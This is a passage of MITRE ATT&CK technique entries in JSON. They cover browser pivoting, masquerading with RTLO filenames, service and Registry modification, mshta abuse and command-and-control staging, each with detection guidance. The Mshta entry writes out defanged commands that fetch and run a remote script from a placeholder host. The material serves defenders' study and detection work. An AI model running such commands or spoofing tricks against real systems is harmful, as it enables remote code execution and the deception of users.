(2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.", + "url": "https://support.apple.com/de-at/HT2420" + } + ], + "modified": "2019-06-24T14:22:07.921Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Packet capture", + "Process monitoring", + "API monitoring" + ], + "name": "Man in the Browser", + "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", + "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "external_references": [ + { + "external_id": "T1185", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1185" + }, + { + "source_name": "Wikipedia Man in the Browser", + "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Man-in-the-browser" + }, + { + "source_name": "Cobalt Strike Browser Pivot", + "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.", + "url": "https://www.cobaltstrike.com/help-browser-pivoting" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-07-18T15:36:27.346Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Binary file metadata" + ], + "name": "Masquerading", + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nA third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named\u00a0March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\u00a0\n\nAdversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)", + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2019-09-10T17:44:59.498Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "attack-pattern", + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nFor RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as \"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Nick Carr, FireEye", + "David Lu, Tripwire", + "Felipe Esp\u00f3sito, @Pr0teus", + "ENDGAME", + "Bartosz Jerzman" + ], + "created": "2017-05-31T21:30:38.511Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036" + }, + { + "source_name": "capec", + "external_id": "CAPEC-177", + "url": "https://capec.mitre.org/data/definitions/177.html" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.", + "source_name": "Infosecinstitute RTLO Technique", + "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/" + }, + { + "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.", + "source_name": "Trend Micro PLEAD RTLO", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/" + }, + { + "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.", + "source_name": "Kaspersky RTLO Cyber Crime", + "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/" + }, + { + "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.", + "source_name": "Threatexpress MetaTwin 2017", + "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/" + }, + { + "source_name": "Endgame Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball" + }, + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + }, + { + "source_name": "Remaiten", + "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.", + "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/" + }, + { + "source_name": "Fysbis Palo Alto Analysis", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + }, + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + }, + { + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick Masquerading Update", + "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457" + } + ], + "x_mitre_defense_bypassed": [ + "Whitelisting by file name or path" + ] + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Modify Existing Service", + "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", + "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Matthew Demaske, Adaptforward" + ], + "created": "2017-05-31T21:30:34.928Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1031" + }, + { + "source_name": "capec", + "external_id": "CAPEC-551", + "url": "https://capec.mitre.org/data/definitions/551.html" + }, + { + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", + "url": "https://twitter.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "Microsoft Service Recovery Feb 2013", + "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-18T16:20:52.185Z" + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Modify Registry", + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.", + "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2019-06-25T12:31:56.827Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bartosz Jerzman", + "Travis Smith, Tripwire", + "David Lu, Tripwire" + ], + "created": "2017-05-31T21:31:23.587Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1112", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1112" + }, + { + "source_name": "capec", + "external_id": "CAPEC-203", + "url": "https://capec.mitre.org/data/definitions/203.html" + }, + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + }, + { + "source_name": "Microsoft Reghide NOV 2006", + "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/reghide" + }, + { + "source_name": "TrendMicro POWELIKS AUG 2014", + "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/" + }, + { + "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.", + "source_name": "SpectorOps Hiding Reg Jul 2017", + "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353" + }, + { + "source_name": "Microsoft Remote", + "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx" + }, + { + "source_name": "Microsoft 4657 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657" + }, + { + "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.", + "source_name": "Microsoft RegDelNull July 2016", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Mshta", + "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", + "x_mitre_remote_support": false, + "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "modified": "2019-09-11T19:22:42.194Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ricardo Dias", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1170", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1170" + }, + { + "source_name": "Wikipedia HTML Application", + "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", + "url": "https://en.wikipedia.org/wiki/HTML_Application" + }, + { + "source_name": "MSDN HTML Applications", + "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", + "url": "https://msdn.microsoft.com/library/ms536471.aspx" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "source_name": "Red Canary HTA Abuse Part Deux", + "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", + "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" + }, + { + "source_name": "FireEye Attacks Leveraging HTA", + "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" + }, + { + "source_name": "Airbus Security Kovter Analysis", + "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", + "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "LOLBAS Mshta", + "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network device logs", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "name": "Multi-Stage Channels", + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", + "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:15.935Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1104", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1104" + } + ], + "modified": "2019-06-21T14:45:42.314Z" + }, + { + "x_mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow" + ], + "name": "Multi-hop Proxy", + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", + "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1188", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1188" + } + ], + "modified": "2019-07-18T16:27:30.822Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "name": "Multiband Communication", + "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", + "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:32.259Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1026" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T16:28:55.259Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "name": "Multilayer Encryption", + "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", + "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:01.315Z", + 